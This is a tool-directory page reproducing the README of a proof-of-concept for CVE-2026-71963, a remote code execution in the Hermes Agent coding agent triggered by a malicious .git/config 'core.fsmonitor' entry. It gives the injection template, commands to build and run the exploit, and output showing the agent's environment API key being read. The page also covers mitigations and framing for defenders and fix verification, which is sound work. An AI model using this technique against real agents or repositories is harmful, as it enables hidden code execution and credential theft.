Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-71963-PoC — CVE-2026-71963 - Hermes Agent 0.18.2-0.21.0 RCE via a repository-delivered .git/config (core.fsmonitor). Stdlib-only Python, verified on real 0.21.0 with a clean negative control on the fixed build. | Kitploit
Tools/GitHubGitHub/boreas37/cve-2026-71963-poc
Vulnerability AnalysisCode AnalysisExploitationPenetration TestingRed Teaming
GitHubboreas37/cve-2026-71963-poc

CVE-2026-71963-PoC

CVE-2026-71963 - Hermes Agent 0.18.2-0.21.0 RCE via a repository-delivered .git/config (core.fsmonitor). Stdlib-only Python, verified on real 0.21.0 with a clean negative control on the fixed build.

View Repository
11 month agoNot yet reviewed
Share

CVE-2026-71963 — Hermes Agent RCE via a repository-delivered .git/config

Affected: Hermes Agent 0.18.2 – 0.21.0 Fixed: commit f6234d0 (fix(security): close GitSpawn RCE class, GHSA-7x36-8jrh-v4pw), first released after 0.21.0 Class: CWE-78 OS command injection → RCE, no prompt shown to the user Advisory: https://www.vulncheck.com/advisories/hermes-agent-rce-via-git-core-fsmonitor-config-injection

Summary

Hermes builds a coding-workspace snapshot while assembling the system prompt: before any prompt, tool call, approval or trust gate it runs git -C <session working dir> status --porcelain=2 --branch (plus rev-parse, log) against the directory the session sits in.

Up to and including 0.21.0 those probes were spawned without stripping the repository's own configuration, so any git config key that names an execution sink is honoured:

[core]
	fsmonitor = "<attacker command>"

An index refresh (git status) executes that command as the user running the agent, with the agent's full environment — including configured provider API keys. The same class covers core.hooksPath (e.g. a post-index-change hook), pager, editor, and .gitattributes-scoped diff/textconv drivers.

git clone never transfers .git/config, so the delivery vector is a repository handed over as files: a zip, a sync folder, a USB stick, an extracted archive. Nothing appears on screen.

Precondition: the agent's working directory must be the malicious repository (the snapshot probes that directory). In this build that is the session's configured working directory — terminal.cwd in config.yaml or the TERMINAL_CWD environment variable; this PoC sets both. With no configured cwd the one-shot CLI resolves its workspace to $HOME, in which case the probes never touch the repository.

Usage

# 1) create the malicious repository (no network, no dependencies)
python3 poc.py build --dir /tmp/cve-2026-71963/repo

# 2) run the real agent against it and assert execution
python3 poc.py exploit \
    --dir /tmp/cve-2026-71963/repo \
    --hermes /path/to/vulnerable/hermes \
    --hermes-py /path/to/python

# 3) same run against a fixed build: nothing must execute
python3 poc.py control --dir /tmp/cve-2026-71963/repo \
    --hermes /path/to/fixed/hermes --hermes-py /path/to/python

The PoC writes a scratch HERMES_HOME (working directory pinned to the repo, model provider pointed at a built-in OpenAI-compatible mock) so a full agent turn runs with zero API cost. The injected command writes id plus the value of a sentinel environment variable (DEMO_API_KEY by default) into an evidence file, which is what the assertion checks.

Verification

Vulnerable build: 0.21.0 (detached worktree of commit 413b6ba3dd, the parent of the fix), fixed build: 0.21.2 (main). Both runs used the same repository and the same scratch home layout.

$ python3 poc.py exploit --hermes <0.21.0>/hermes --hermes-py <venv>/python
[*] malicious repo ready: /tmp/cve-2026-71963/repo
[*] injected command    : id > .../evidence.txt 2>&1; echo AGENT_ENV_KEY:$DEMO_API_KEY >> .../evidence.txt
[*] running: <venv>/python <0.21.0>/hermes -z hello
[*] HERMES_HOME=/tmp/cve-2026-71963/home-vuln  working dir=/tmp/cve-2026-71963/repo
[*] agent exited rc=0 output='ok'
[*] evidence captured:
    uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),...  (account name scrubbed)
    AGENT_ENV_KEY:DEMO-QRXAPQFB
=> PASS (command executed as the agent's user and read the agent's environment - sentinel DEMO-QRXAPQFB recovered)
$ python3 poc.py control --hermes <0.21.2>/hermes --hermes-py <venv>/python
[*] agent exited rc=0 output='ok'
=> PASS (negative control: probes ran, nothing executed)

The probes are shown to run in both builds. Instrumenting the git calls on the fixed build shows why the second one is inert:

CWD=<repo> ARGS=-C <repo> status --porcelain=2 --branch GITCFG_COUNT=10 K0=credential.helper V0= GLOBAL=/dev/null SYSTEM=/dev/null
CWD=<repo> ARGS=-C <repo> rev-parse --git-dir                    GITCFG_COUNT=10 ... GLOBAL=/dev/null SYSTEM=/dev/null

i.e. bounded_git_probe now spawns git under noninteractive_git_env(), which pins core.fsmonitor=false (plus hooks/pager/editor/credential helpers) via GIT_CONFIG_KEY_*/GIT_CONFIG_VALUE_* and points GIT_CONFIG_GLOBAL / GIT_CONFIG_SYSTEM at /dev/null. Diff-rendering probes additionally pass --no-ext-diff --no-textconv.

Lab build

git clone https://github.com/NousResearch/hermes-agent
cd hermes-agent
git worktree add --detach ../hermes-0.21.0 413b6ba3dd   # vulnerable (0.21.0)
python -m venv venv && ./venv/bin/pip install -e .       # deps are compatible with main
../hermes-0.21.0/hermes --version

Mitigation

  • Upgrade past 0.21.0 (any build containing f6234d0).
  • Treat extracted/cloned-in-as-files repositories as untrusted: check .git/config for fsmonitor, hooksPath, pager, editor, credential.helper, and [diff "*"] command/textconv entries before pointing an agent at them.
  • Run the agent in a sandbox with no credentials in its environment; the injected command inherits the agent's full environment.

Disclosure

Public CVE with a public vendor fix; this repository is an independent reproduction for defenders and for verifying the fix boundary.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    786
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    506
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    429
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    262
  • 6

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    256

Explore all tools

Browse our collection of tools

View all tools →